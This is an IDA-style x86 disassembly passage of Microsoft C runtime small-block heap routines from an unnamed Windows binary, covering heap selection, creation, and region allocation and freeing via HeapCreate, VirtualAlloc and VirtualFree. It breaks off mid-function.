push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
call _strncmp_0
add esp, 0Ch
test eax, eax
jnz short loc_4CBE28
lea eax, [ebp+Str2]
jmp short loc_4CBE71
; ---------------------------------------------------------------------------
loc_4CBE28: ; CODE XREF: sub_4CBD81+9Dj
lea eax, [ebp+SubStr]
push 104h
push eax
push ebx
call dword_4ED1C4 ; GetModuleFileNameA
cmp [ebp+SubStr], bl
lea ecx, [ebp+SubStr]
jz short loc_4CBE5C
loc_4CBE49: ; CODE XREF: sub_4CBD81+D9j
mov al, [ecx]
cmp al, 61h
jl short loc_4CBE57
cmp al, 7Ah
jg short loc_4CBE57
sub al, 20h
mov [ecx], al
loc_4CBE57: ; CODE XREF: sub_4CBD81+CCj
; sub_4CBD81+D0j
inc ecx
cmp [ecx], bl
jnz short loc_4CBE49
loc_4CBE5C: ; CODE XREF: sub_4CBD81+C6j
lea eax, [ebp+SubStr]
push eax ; SubStr
lea eax, [ebp+Str2]
push eax ; Str
call _strstr_0
pop ecx
pop ecx
loc_4CBE71: ; CODE XREF: sub_4CBD81+A5j
cmp eax, ebx
jz short loc_4CBEB3
push 2Ch ; Val
push eax ; Str
call _strchr_0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4CBEB3
inc eax
mov ecx, eax
cmp [eax], bl
jz short loc_4CBE98
loc_4CBE8A: ; CODE XREF: sub_4CBD81+115j
cmp byte ptr [ecx], 3Bh
jnz short loc_4CBE93
mov [ecx], bl
jmp short loc_4CBE94
; ---------------------------------------------------------------------------
loc_4CBE93: ; CODE XREF: sub_4CBD81+10Cj
inc ecx
loc_4CBE94: ; CODE XREF: sub_4CBD81+110j
cmp [ecx], bl
jnz short loc_4CBE8A
loc_4CBE98: ; CODE XREF: sub_4CBD81+107j
push 0Ah
push ebx
push eax
call sub_4CDEBE
add esp, 0Ch
cmp eax, 2
jz short loc_4CBEC6
cmp eax, 3
jz short loc_4CBEC6
cmp eax, 1
jz short loc_4CBEC6
loc_4CBEB3: ; CODE XREF: sub_4CBD81+5Cj
; sub_4CBD81+F2j ...
lea eax, [ebp+var_4]
push eax
call sub_4CBD54
cmp [ebp+var_4], 6
pop ecx
sbb eax, eax
add eax, 3
loc_4CBEC6: ; CODE XREF: sub_4CBD81+3Ej
; sub_4CBD81+126j ...
pop ebx
leave
retn
sub_4CBD81 endp
; =============== S U B R O U T I N E =======================================
sub_4CBEC9 proc near ; CODE XREF: start+5Ap
arg_0 = dword ptr 4
xor eax, eax
push 0
cmp [esp+4+arg_0], eax
push 1000h
setz al
push eax
call dword_4ED160 ; HeapCreate
test eax, eax
mov dword_4F5F00, eax
jz short loc_4CBF1F
call sub_4CBD81
cmp eax, 3
mov dword_4F5F04, eax
jnz short loc_4CBF05
push 3F8h
call ___sbh_heap_init_0
pop ecx
jmp short loc_4CBF0F
; ---------------------------------------------------------------------------
loc_4CBF05: ; CODE XREF: sub_4CBEC9+2Dj
cmp eax, 2
jnz short loc_4CBF22
call sub_4CCBF9
loc_4CBF0F: ; CODE XREF: sub_4CBEC9+3Aj
test eax, eax
jnz short loc_4CBF22
push dword_4F5F00
call dword_4ED164 ; HeapDestroy
loc_4CBF1F: ; CODE XREF: sub_4CBEC9+1Ej
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4CBF22: ; CODE XREF: sub_4CBEC9+3Fj
; sub_4CBEC9+48j
push 1
pop eax
retn
sub_4CBEC9 endp
; [00000039 BYTES: COLLAPSED FUNCTION __FF_MSGBANNER_0. PRESS KEYPAD "+" TO EXPAND]
; [00000153 BYTES: COLLAPSED FUNCTION __NMSG_WRITE_0. PRESS KEYPAD "+" TO EXPAND]
; [00000048 BYTES: COLLAPSED FUNCTION ___sbh_heap_init_0. PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION ___sbh_find_block_0. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4CC125 proc near ; CODE XREF: sub_4CA2FB+23p
; sub_4CEEC3+A4p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov ecx, [ebp+arg_0]
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [ecx+10h]
push edi
mov edi, esi
add esi, 0FFFFFFFCh
sub edi, [ecx+0Ch]
shr edi, 0Fh
mov ecx, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_10], ecx
mov ecx, [esi]
dec ecx
test cl, 1
mov [ebp+var_4], ecx
jnz loc_4CC449
mov edx, [ecx+esi]
lea ebx, [ecx+esi]
mov [ebp+var_C], edx
mov edx, [esi-4]
mov [ebp+var_8], edx
mov edx, [ebp+var_C]
test dl, 1
mov [ebp+arg_4], ebx
jnz short loc_4CC1FB
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_4CC189
push 3Fh
pop edx
loc_4CC189: ; CODE XREF: sub_4CC125+5Fj
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_4CC1DD
cmp edx, 20h
jnb short loc_4CC1B4
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_4CC1D5
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_4CC1D5
; ---------------------------------------------------------------------------
loc_4CC1B4: ; CODE XREF: sub_4CC125+6Fj
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_4CC1D5
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_4CC1D5: ; CODE XREF: sub_4CC125+86j
; sub_4CC125+8Dj ...
mov ecx, [ebp+var_4]
mov ebx, [ebp+arg_4]
jmp short loc_4CC1E0
; ---------------------------------------------------------------------------
loc_4CC1DD: ; CODE XREF: sub_4CC125+6Aj
mov ecx, [ebp+var_4]
loc_4CC1E0: ; CODE XREF: sub_4CC125+B6j
mov edx, [ebx+8]
mov ebx, [ebx+4]
add ecx, [ebp+var_C]
mov [edx+4], ebx
mov edx, [ebp+arg_4]
mov [ebp+var_4], ecx
mov ebx, [edx+4]
mov edx, [edx+8]
mov [ebx+8], edx
loc_4CC1FB: ; CODE XREF: sub_4CC125+56j
mov edx, ecx
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_4CC209
push 3Fh
pop edx
loc_4CC209: ; CODE XREF: sub_4CC125+DFj
mov ebx, [ebp+var_8]
and ebx, 1
mov [ebp+var_C], ebx
jnz loc_4CC2AC
sub esi, [ebp+var_8]
mov ebx, [ebp+var_8]
sar ebx, 4
push 3Fh
mov [ebp+arg_4], esi
dec ebx
pop esi
cmp ebx, esi
jbe short loc_4CC22E
mov ebx, esi
loc_4CC22E: ; CODE XREF: sub_4CC125+105j
add ecx, [ebp+var_8]
mov edx, ecx
mov [ebp+var_4], ecx
sar edx, 4
dec edx
cmp edx, esi
jbe short loc_4CC240
mov edx, esi
loc_4CC240: ; CODE XREF: sub_4CC125+117j
cmp ebx, edx
jz short loc_4CC2A7
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
cmp esi, [ecx+8]
jnz short loc_4CC28F
cmp ebx, 20h
jnb short loc_4CC270
mov esi, 80000000h
mov ecx, ebx
shr esi, cl
not esi
and [eax+edi*4+44h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_4CC28F
mov ecx, [ebp+arg_0]
and [ecx], esi
jmp short loc_4CC28F
; ---------------------------------------------------------------------------
loc_4CC270: ; CODE XREF: sub_4CC125+12Dj
lea ecx, [ebx-20h]
mov esi, 80000000h
shr esi, cl
not esi
and [eax+edi*4+0C4h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_4CC28F
mov ecx, [ebp+arg_0]
and [ecx+4], esi
loc_4CC28F: ; CODE XREF: sub_4CC125+128j
; sub_4CC125+142j ...
mov ecx, [ebp+arg_4]
mov esi, [ecx+8]
mov ecx, [ecx+4]
mov [esi+4], ecx
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
mov ecx, [ecx+8]
mov [esi+8], ecx
loc_4CC2A7: ; CODE XREF: sub_4CC125+11Dj
mov esi, [ebp+arg_4]
jmp short loc_4CC2AF
; ---------------------------------------------------------------------------
loc_4CC2AC: ; CODE XREF: sub_4CC125+EDj
mov ebx, [ebp+arg_0]
loc_4CC2AF: ; CODE XREF: sub_4CC125+185j
cmp [ebp+var_C], 0
jnz short loc_4CC2BD
cmp ebx, edx
jz loc_4CC33E
loc_4CC2BD: ; CODE XREF: sub_4CC125+18Ej
mov ecx, [ebp+var_10]
mov ebx, [ecx+edx*8+4]
lea ecx, [ecx+edx*8]
mov [esi+4], ebx
mov [esi+8], ecx
mov [ecx+4], esi
mov ecx, [esi+4]
mov [ecx+8], esi
mov ecx, [esi+4]
cmp ecx, [esi+8]
jnz short loc_4CC33E
mov cl, [edx+eax+4]
cmp edx, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [edx+eax+4], cl
jnb short loc_4CC315
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_4CC304
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_4CC304: ; CODE XREF: sub_4CC125+1CFj
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea eax, [eax+edi*4+44h]
or [eax], ebx
jmp short loc_4CC33E
; ---------------------------------------------------------------------------
loc_4CC315: ; CODE XREF: sub_4CC125+1C9j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_4CC32B
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_4CC32B: ; CODE XREF: sub_4CC125+1F4j
lea ecx, [edx-20h]
mov edx, 80000000h
shr edx, cl
lea eax, [eax+edi*4+0C4h]
or [eax], edx
loc_4CC33E: ; CODE XREF: sub_4CC125+192j
; sub_4CC125+1B7j ...
mov eax, [ebp+var_4]
mov [esi], eax
mov [eax+esi-4], eax
mov eax, [ebp+var_10]
dec dword ptr [eax]
jnz loc_4CC449
mov eax, dword_4F5EF0
test eax, eax
jz loc_4CC43B
mov ecx, dword_4F5EE8
mov esi, dword_4ED15C
shl ecx, 0Fh
add ecx, [eax+0Ch]
mov ebx, 8000h
push 4000h
push ebx
push ecx
call esi ; VirtualFree
mov ecx, dword_4F5EE8
mov eax, dword_4F5EF0
mov edx, 80000000h
shr edx, cl
or [eax+8], edx
mov eax, dword_4F5EF0
mov ecx, dword_4F5EE8
mov eax, [eax+10h]
and dword ptr [eax+ecx*4+0C4h], 0
mov eax, dword_4F5EF0
mov eax, [eax+10h]
dec byte ptr [eax+43h]
mov eax, dword_4F5EF0
mov ecx, [eax+10h]
cmp byte ptr [ecx+43h], 0
jnz short loc_4CC3CC
and dword ptr [eax+4], 0FFFFFFFEh
mov eax, dword_4F5EF0
loc_4CC3CC: ; CODE XREF: sub_4CC125+29Cj
cmp dword ptr [eax+8], 0FFFFFFFFh
jnz short loc_4CC43B
push ebx
push 0
push dword ptr [eax+0Ch]
call esi ; VirtualFree
mov eax, dword_4F5EF0
push dword ptr [eax+10h]
push 0
push dword_4F5F00
call dword_4ED188 ; RtlFreeHeap
mov eax, dword_4F5EF4
mov edx, dword_4F5EF8
lea eax, [eax+eax*4]
shl eax, 2
mov ecx, eax
mov eax, dword_4F5EF0
sub ecx, eax
lea ecx, [ecx+edx-14h]
push ecx ; Size
lea ecx, [eax+14h]
push ecx ; Src
push eax ; Dst
call _memcpy_2
mov eax, [ebp+arg_0]
add esp, 0Ch
dec dword_4F5EF4
cmp eax, dword_4F5EF0
jbe short loc_4CC431
sub [ebp+arg_0], 14h
loc_4CC431: ; CODE XREF: sub_4CC125+306j
mov eax, dword_4F5EF8
mov dword_4F5EEC, eax
loc_4CC43B: ; CODE XREF: sub_4CC125+234j
; sub_4CC125+2ABj
mov eax, [ebp+arg_0]
mov dword_4F5EE8, edi
mov dword_4F5EF0, eax
loc_4CC449: ; CODE XREF: sub_4CC125+38j
; sub_4CC125+227j
pop edi
pop esi
pop ebx
leave
retn
sub_4CC125 endp
; [00000309 BYTES: COLLAPSED FUNCTION ___sbh_alloc_block_0. PRESS KEYPAD "+" TO EXPAND]
; [000000B1 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_region_0. PRESS KEYPAD "+" TO EXPAND]
; [000000FB BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_group_0. PRESS KEYPAD "+" TO EXPAND]
; [000002F6 BYTES: COLLAPSED FUNCTION ___sbh_resize_block_0. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_4CCBF9 proc near ; CODE XREF: sub_4CBEC9+41p
; sub_4CCEF1:loc_4CD0C0p
cmp dword_4EF768, 0FFFFFFFFh
push ebx
push ebp
push esi
push edi
jnz short loc_4CCC0D
mov esi, offset off_4EF758
jmp short loc_4CCC2A
; ---------------------------------------------------------------------------
loc_4CCC0D: ; CODE XREF: sub_4CCBF9+Bj
push 2020h
push 0
push dword_4F5F00
call dword_4ED18C ; RtlAllocateHeap
mov esi, eax
test esi, esi
jz loc_4CCD36
loc_4CCC2A: ; CODE XREF: sub_4CCBF9+12j
mov ebp, dword_4ED070
push 4
push 2000h
push 400000h
push 0
call ebp ; VirtualAlloc
mov edi, eax
test edi, edi
jz loc_4CCD1F
push 4
mov ebx, 10000h
push 1000h
push ebx
push edi
call ebp ; VirtualAlloc
test eax, eax
jz loc_4CCD11
mov eax, offset off_4EF758
cmp esi, eax
jnz short loc_4CCC89
cmp off_4EF758, 0
jnz short loc_4CCC79
mov off_4EF758, eax
loc_4CCC79: ; CODE XREF: sub_4CCBF9+79j
cmp off_4EF75C, 0
jnz short loc_4CCC9E
mov off_4EF75C, eax
jmp short loc_4CCC9E
; ---------------------------------------------------------------------------
loc_4CCC89: ; CODE XREF: sub_4CCBF9+70j
mov [esi], eax
mov eax, off_4EF75C
mov [esi+4], eax
mov off_4EF75C, esi
mov eax, [esi+4]
mov [eax], esi
loc_4CCC9E: ; CODE XREF: sub_4CCBF9+87j
; sub_4CCBF9+8Ej
lea eax, [edi+400000h]
lea ecx, [esi+98h]
mov [esi+14h], eax
lea eax, [esi+18h]
mov [esi+0Ch], ecx
mov [esi+10h], edi
mov [esi+8], eax
xor ebp, ebp
mov ecx, 0F1h
loc_4CCCC0: ; CODE XREF: sub_4CCBF9+E2j
xor edx, edx
cmp ebp, 10h
setnl dl
dec edx
and edx, ecx
dec edx
inc ebp
mov [eax], edx
mov [eax+4], ecx
add eax, 8
cmp ebp, 400h
jl short loc_4CCCC0
push ebx ; Size
push 0 ; Val
push edi ; Dst
call _memset_0
add esp, 0Ch
loc_4CCCE9: ; CODE XREF: sub_4CCBF9+112j
mov eax, [esi+10h]
add eax, ebx
cmp edi, eax
jnb short loc_4CCD0D
or byte ptr [edi+0F8h], 0FFh
lea eax, [edi+8]
mov [edi], eax
mov dword ptr [edi+4], 0F0h
add edi, 1000h
jmp short loc_4CCCE9
; ---------------------------------------------------------------------------
loc_4CCD0D: ; CODE XREF: sub_4CCBF9+F7j
mov eax, esi
jmp short loc_4CCD38
; ---------------------------------------------------------------------------
loc_4CCD11: ; CODE XREF: sub_4CCBF9+63j
push 8000h
push 0
push edi
call dword_4ED15C ; VirtualFree
loc_4CCD1F: ; CODE XREF: sub_4CCBF9+4Bj
cmp esi, offset off_4EF758
jz short loc_4CCD36
push esi
push 0
push dword_4F5F00
call dword_4ED188 ; RtlFreeHeap
loc_4CCD36: ; CODE XREF: sub_4CCBF9+2Bj
; sub_4CCBF9+12Cj
xor eax, eax
loc_4CCD38: ; CODE XREF: sub_4CCBF9+116j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_4CCBF9 endp
; =============== S U B R O U T I N E =======================================
sub_4CCD3D proc near ; CODE XREF: sub_4CCD93+A5p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 8000h
push 0
push dword ptr [esi+10h]
call dword_4ED15C ; VirtualFree
cmp off_4F1778, esi
jnz short loc_4CCD62
mov eax, [esi+4]
mov off_4F1778, eax
loc_4CCD62: ; CODE XREF: sub_4CCD3D+1Bj
cmp esi, offset off_4EF758
jz short loc_4CCD8A
mov eax, [esi+4]
mov ecx, [esi]
push esi
push 0
mov [eax], ecx
mov eax, [esi]
mov ecx, [esi+4]
mov [eax+4], ecx
push dword_4F5F00
call dword_4ED188 ; RtlFreeHeap
pop esi
retn
; ---------------------------------------------------------------------------
loc_4CCD8A: ; CODE XREF: sub_4CCD3D+2Bj
or dword_4EF768, 0FFFFFFFFh
pop esi
retn
sub_4CCD3D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4CCD93 proc near ; CODE XREF: sub_4CCEAC+3Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, off_4EF75C
push edi
loc_4CCDA0: ; CODE XREF: sub_4CCD93+B7j
cmp dword ptr [esi+10h], 0FFFFFFFFh
jz loc_4CCE3E
and [ebp+var_4], 0
lea edi, [esi+2010h]
mov ebx, 3FF000h
loc_4CCDB9: ; CODE XREF: sub_4CCD93+72j
cmp dword ptr [edi], 0F0h
jnz short loc_4CCDFA
mov eax, ebx
push 4000h
add eax, [esi+10h]
push 1000h
push eax
call dword_4ED15C ; VirtualFree
test eax, eax
jz short loc_4CCDFA
or dword ptr [edi], 0FFFFFFFFh
dec dword_4F4C48
mov eax, [esi+0Ch]
test eax, eax
jz short loc_4CCDEF
cmp eax, edi
jbe short loc_4CCDF2
loc_4CCDEF: ; CODE XREF: sub_4CCD93+56j
mov [esi+0Ch], edi
loc_4CCDF2: ; CODE XREF: sub_4CCD93+5Aj
inc [ebp+var_4]
dec [ebp+arg_0]
jz short loc_4CCE07
loc_4CCDFA: ; CODE XREF: sub_4CCD93+2Cj
; sub_4CCD93+46j
sub ebx, 1000h
sub edi, 8
test ebx, ebx
jge short loc_4CCDB9
loc_4CCE07: ; CODE XREF: sub_4CCD93+65j
cmp [ebp+var_4], 0
mov ecx, esi
mov esi, [esi+4]
jz short loc_4CCE3E
cmp dword ptr [ecx+18h], 0FFFFFFFFh
jnz short loc_4CCE3E
push 1
lea eax, [ecx+20h]
pop edx
loc_4CCE1E: ; CODE XREF: sub_4CCD93+9Aj
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_4CCE2F
inc edx
add eax, 8
cmp edx, 400h
jl short loc_4CCE1E
loc_4CCE2F: ; CODE XREF: sub_4CCD93+8Ej
cmp edx, 400h
jnz short loc_4CCE3E
push ecx
call sub_4CCD3D
pop ecx
loc_4CCE3E: ; CODE XREF: sub_4CCD93+11j
; sub_4CCD93+7Dj ...
cmp esi, off_4EF75C
jz short loc_4CCE50
cmp [ebp+arg_0], 0
jg loc_4CCDA0
loc_4CCE50: ; CODE XREF: sub_4CCD93+B1j
pop edi
pop esi
pop ebx
leave
retn
sub_4CCD93 endp
; =============== S U B R O U T I N E =======================================
sub_4CCE55 proc near ; CODE XREF: sub_4CA2FB+3Ap
; sub_4CEEC3+173p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov edx, offset off_4EF758
push esi
mov ecx, edx
loc_4CCE61: ; CODE XREF: sub_4CCE55+1Cj
cmp eax, [ecx+10h]
jbe short loc_4CCE6B
cmp eax, [ecx+14h]
jb short loc_4CCE73
loc_4CCE6B: ; CODE XREF: sub_4CCE55+Fj
mov ecx, [ecx]
cmp ecx, edx
jz short loc_4CCEA8
jmp short loc_4CCE61
; ---------------------------------------------------------------------------
loc_4CCE73: ; CODE XREF: sub_4CCE55+14j
test al, 0Fh
jnz short loc_4CCEA8
mov esi, eax
mov edx, 100h
and esi, 0FFFh
cmp esi, edx
jb short loc_4CCEA8
mov esi, [esp+4+arg_4]
mov [esi], ecx
mov esi, [esp+4+arg_8]
mov ecx, eax
and cx, 0F000h
sub eax, ecx
mov [esi], ecx
sub eax, edx
pop esi
sar eax, 4
lea eax, [eax+ecx+8]
retn
; ---------------------------------------------------------------------------
loc_4CCEA8: ; CODE XREF: sub_4CCE55+1Aj
; sub_4CCE55+20j ...
xor eax, eax
pop esi
retn
sub_4CCE55 endp
; =============== S U B R O U T I N E =======================================
sub_4CCEAC proc near ; CODE XREF: sub_4CA2FB+4Dp
; sub_4CEEC3+1D5p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
sub ecx, [eax+10h]
sar ecx, 0Ch
lea eax, [eax+ecx*8+18h]
mov ecx, [esp+arg_8]
movzx edx, byte ptr [ecx]
add [eax], edx
and byte ptr [ecx], 0
cmp dword ptr [eax], 0F0h
mov dword ptr [eax+4], 0F1h
jnz short locret_4CCEF0
inc dword_4F4C48
cmp dword_4F4C48, 20h
jnz short locret_4CCEF0
push 10h
call sub_4CCD93
pop ecx
locret_4CCEF0: ; CODE XREF: sub_4CCEAC+2Bj
; sub_4CCEAC+3Aj
retn
sub_4CCEAC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4CCEF1 proc near ; CODE XREF: sub_4CA24A+5Fp
; sub_4CA3A2+4Ap ...
Val = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, off_4F1778
push edi
loc_4CCEFF: ; CODE XREF: sub_4CCEF1+C6j
mov edx, [esi+10h]
cmp edx, 0FFFFFFFFh
jz loc_4CCFAA
mov edi, [esi+8]
lea ecx, [esi+2018h]
mov eax, edi
sub eax, esi
sub eax, 18h
sar eax, 3
shl eax, 0Ch
add eax, edx
cmp edi, ecx
mov [ebp+var_4], eax
jnb short loc_4CCF64
loc_4CCF2A: ; CODE XREF: sub_4CCEF1+6Fj
mov ecx, [edi]
mov ebx, [ebp+arg_0]
cmp ecx, ebx
jl short loc_4CCF4D
cmp [edi+4], ebx
jbe short loc_4CCF4D
push ebx
push ecx
push eax
call sub_4CD0F9
add esp, 0Ch
test eax, eax
jnz short loc_4CCFBC
mov eax, [ebp+var_4]
mov [edi+4], ebx
loc_4CCF4D: ; CODE XREF: sub_4CCEF1+40j
; sub_4CCEF1+45j
add edi, 8
lea ecx, [esi+2018h]
add eax, 1000h
cmp edi, ecx
mov [ebp+var_4], eax
jb short loc_4CCF2A
jmp short loc_4CCF67
; ---------------------------------------------------------------------------
loc_4CCF64: ; CODE XREF: sub_4CCEF1+37j
mov ebx, [ebp+arg_0]
loc_4CCF67: ; CODE XREF: sub_4CCEF1+71j
mov eax, [esi+8]
mov ecx, [esi+10h]
lea edi, [esi+18h]
mov [ebp+Val], eax
cmp edi, eax
mov [ebp+var_4], ecx
jnb short loc_4CCFAD
loc_4CCF7A: ; CODE XREF: sub_4CCEF1+B5j
mov eax, [edi]
cmp eax, ebx
jl short loc_4CCF99
cmp [edi+4], ebx
jbe short loc_4CCF99
push ebx
push eax
push [ebp+var_4]
call sub_4CD0F9
add esp, 0Ch
test eax, eax
jnz short loc_4CCFBC
mov [edi+4], ebx
loc_4CCF99: ; CODE XREF: sub_4CCEF1+8Dj
; sub_4CCEF1+92j
add [ebp+var_4], 1000h
add edi, 8
cmp edi, [ebp+Val]
jb short loc_4CCF7A
jmp short loc_4CCFAD
; ---------------------------------------------------------------------------
loc_4CCFAA: ; CODE XREF: sub_4CCEF1+14j
mov ebx, [ebp+arg_0]
loc_4CCFAD: ; CODE XREF: sub_4CCEF1+87j
; sub_4CCEF1+B7j
mov esi, [esi]
cmp esi, off_4F1778
jz short loc_4CCFCC
jmp loc_4CCEFF
; ---------------------------------------------------------------------------
loc_4CCFBC: ; CODE XREF: sub_4CCEF1+54j
; sub_4CCEF1+A3j
mov off_4F1778, esi
sub [edi], ebx
mov [esi+8], edi
jmp loc_4CD0F4
; ---------------------------------------------------------------------------
loc_4CCFCC: ; CODE XREF: sub_4CCEF1+C4j
mov eax, offset off_4EF758
mov edi, eax
loc_4CCFD3: ; CODE XREF: sub_4CCEF1+F8j
cmp dword ptr [edi+10h], 0FFFFFFFFh
jz short loc_4CCFDF
cmp dword ptr [edi+0Ch], 0
jnz short loc_4CCFEB
loc_4CCFDF: ; CODE XREF: sub_4CCEF1+E6j
mov edi, [edi]
cmp edi, eax
jz loc_4CD0C0
jmp short loc_4CCFD3
; ---------------------------------------------------------------------------
loc_4CCFEB: ; CODE XREF: sub_4CCEF1+ECj
mov ebx, [edi+0Ch]
and [ebp+var_4], 0
mov esi, ebx
mov eax, ebx
sub esi, edi
sub esi, 18h
sar esi, 3
shl esi, 0Ch
add esi, [edi+10h]
cmp dword ptr [ebx], 0FFFFFFFFh
jnz short loc_4CD01A
loc_4CD009: ; CODE XREF: sub_4CCEF1+127j
cmp [ebp+var_4], 10h
jge short loc_4CD01A
add eax, 8
inc [ebp+var_4]
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_4CD009
loc_4CD01A: ; CODE XREF: sub_4CCEF1+116j
; sub_4CCEF1+11Cj
mov eax, [ebp+var_4]
push 4
shl eax, 0Ch
push 1000h
push eax
push esi
mov [ebp+Val], eax
call dword_4ED070 ; VirtualAlloc
cmp eax, esi
jnz loc_4CD0F2
push 0 ; Size
push [ebp+Val] ; Val
push esi ; Dst
call _memset_0
mov edx, [ebp+var_4]
add esp, 0Ch
test edx, edx
mov ecx, ebx
jle short loc_4CD081
lea eax, [esi+4]
mov [ebp+var_4], edx
loc_4CD057: ; CODE XREF: sub_4CCEF1+18Ej
or byte ptr [eax+0F4h], 0FFh
lea edx, [eax+4]
mov [eax-4], edx
mov edx, 0F0h
mov [eax], edx
mov [ecx], edx
mov dword ptr [ecx+4], 0F1h
add eax, 1000h
add ecx, 8
dec [ebp+var_4]
jnz short loc_4CD057
loc_4CD081: ; CODE XREF: sub_4CCEF1+15Ej
mov off_4F1778, edi
lea eax, [edi+2018h]
loc_4CD08D: ; CODE XREF: sub_4CCEF1+1A8j
cmp ecx, eax
jnb short loc_4CD09D
cmp dword ptr [ecx], 0FFFFFFFFh
jz short loc_4CD09B
add ecx, 8
jmp short loc_4CD08D
; ---------------------------------------------------------------------------
loc_4CD09B: ; CODE XREF: sub_4CCEF1+1A3j
cmp ecx, eax
loc_4CD09D: ; CODE XREF: sub_4CCEF1+19Ej
sbb eax, eax
and eax, ecx
mov [edi+0Ch], eax
mov eax, [ebp+arg_0]
mov [esi+8], al
mov [edi+8], ebx
sub [ebx], eax
sub [esi+4], eax
lea ecx, [esi+eax+8]
lea eax, [esi+100h]
mov [esi], ecx
jmp short loc_4CD0F4
; ---------------------------------------------------------------------------
loc_4CD0C0: ; CODE XREF: sub_4CCEF1+F2j
call sub_4CCBF9
test eax, eax
jz short loc_4CD0F2
mov ecx, [eax+10h]
mov [ecx+8], bl
lea edx, [ecx+ebx+8]
mov off_4F1778, eax
mov [ecx], edx
mov edx, 0F0h
sub edx, ebx
mov [ecx+4], edx
movzx edx, bl
sub [eax+18h], edx
lea eax, [ecx+100h]
jmp short loc_4CD0F4
; ---------------------------------------------------------------------------
loc_4CD0F2: ; CODE XREF: sub_4CCEF1+143j
; sub_4CCEF1+1D6j
xor eax, eax
loc_4CD0F4: ; CODE XREF: sub_4CCEF1+D6j
; sub_4CCEF1+1CDj ...
pop edi
pop esi
pop ebx
leave
retn
sub_4CCEF1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4CD0F9 proc near ; CODE XREF: sub_4CCEF1+4Ap
; sub_4CCEF1+99p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_8]
push ebx
push esi
mov esi, [ecx+4]
push edi
mov edi, [ecx]
lea ebx, [ecx+0F8h]
cmp esi, edx
mov [ebp+var_4], edi
mov eax, edi
mov [ebp+arg_0], ebx
jb short loc_4CD13E
lea eax, [edi+edx]
mov [edi], dl
cmp eax, ebx
jnb short loc_4CD12D
add [ecx], edx
sub [ecx+4], edx
jmp short loc_4CD136
; ---------------------------------------------------------------------------
loc_4CD12D: ; CODE XREF: sub_4CD0F9+2Bj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_4CD136: ; CODE XREF: sub_4CD0F9+32j
lea eax, [edi+8]
jmp loc_4CD20C
; ---------------------------------------------------------------------------
loc_4CD13E: ; CODE XREF: sub_4CD0F9+22j
add esi, edi
cmp byte ptr [esi], 0
jz short loc_4CD147
mov eax, esi
loc_4CD147: ; CODE XREF: sub_4CD0F9+4Aj
lea esi, [eax+edx]
cmp esi, ebx
jnb short loc_4CD191
loc_4CD14E: ; CODE XREF: sub_4CD0F9+96j
mov bl, [eax]
test bl, bl
jnz short loc_4CD184
push 1
lea ebx, [eax+1]
pop esi
loc_4CD15A: ; CODE XREF: sub_4CD0F9+68j
cmp byte ptr [ebx], 0
jnz short loc_4CD163
inc ebx
inc esi
jmp short loc_4CD15A
; ---------------------------------------------------------------------------
loc_4CD163: ; CODE XREF: sub_4CD0F9+64j
cmp esi, edx
jnb short loc_4CD1B5
cmp eax, [ebp+var_4]
jnz short loc_4CD171
mov [ecx+4], esi
jmp short loc_4CD17D
; ---------------------------------------------------------------------------
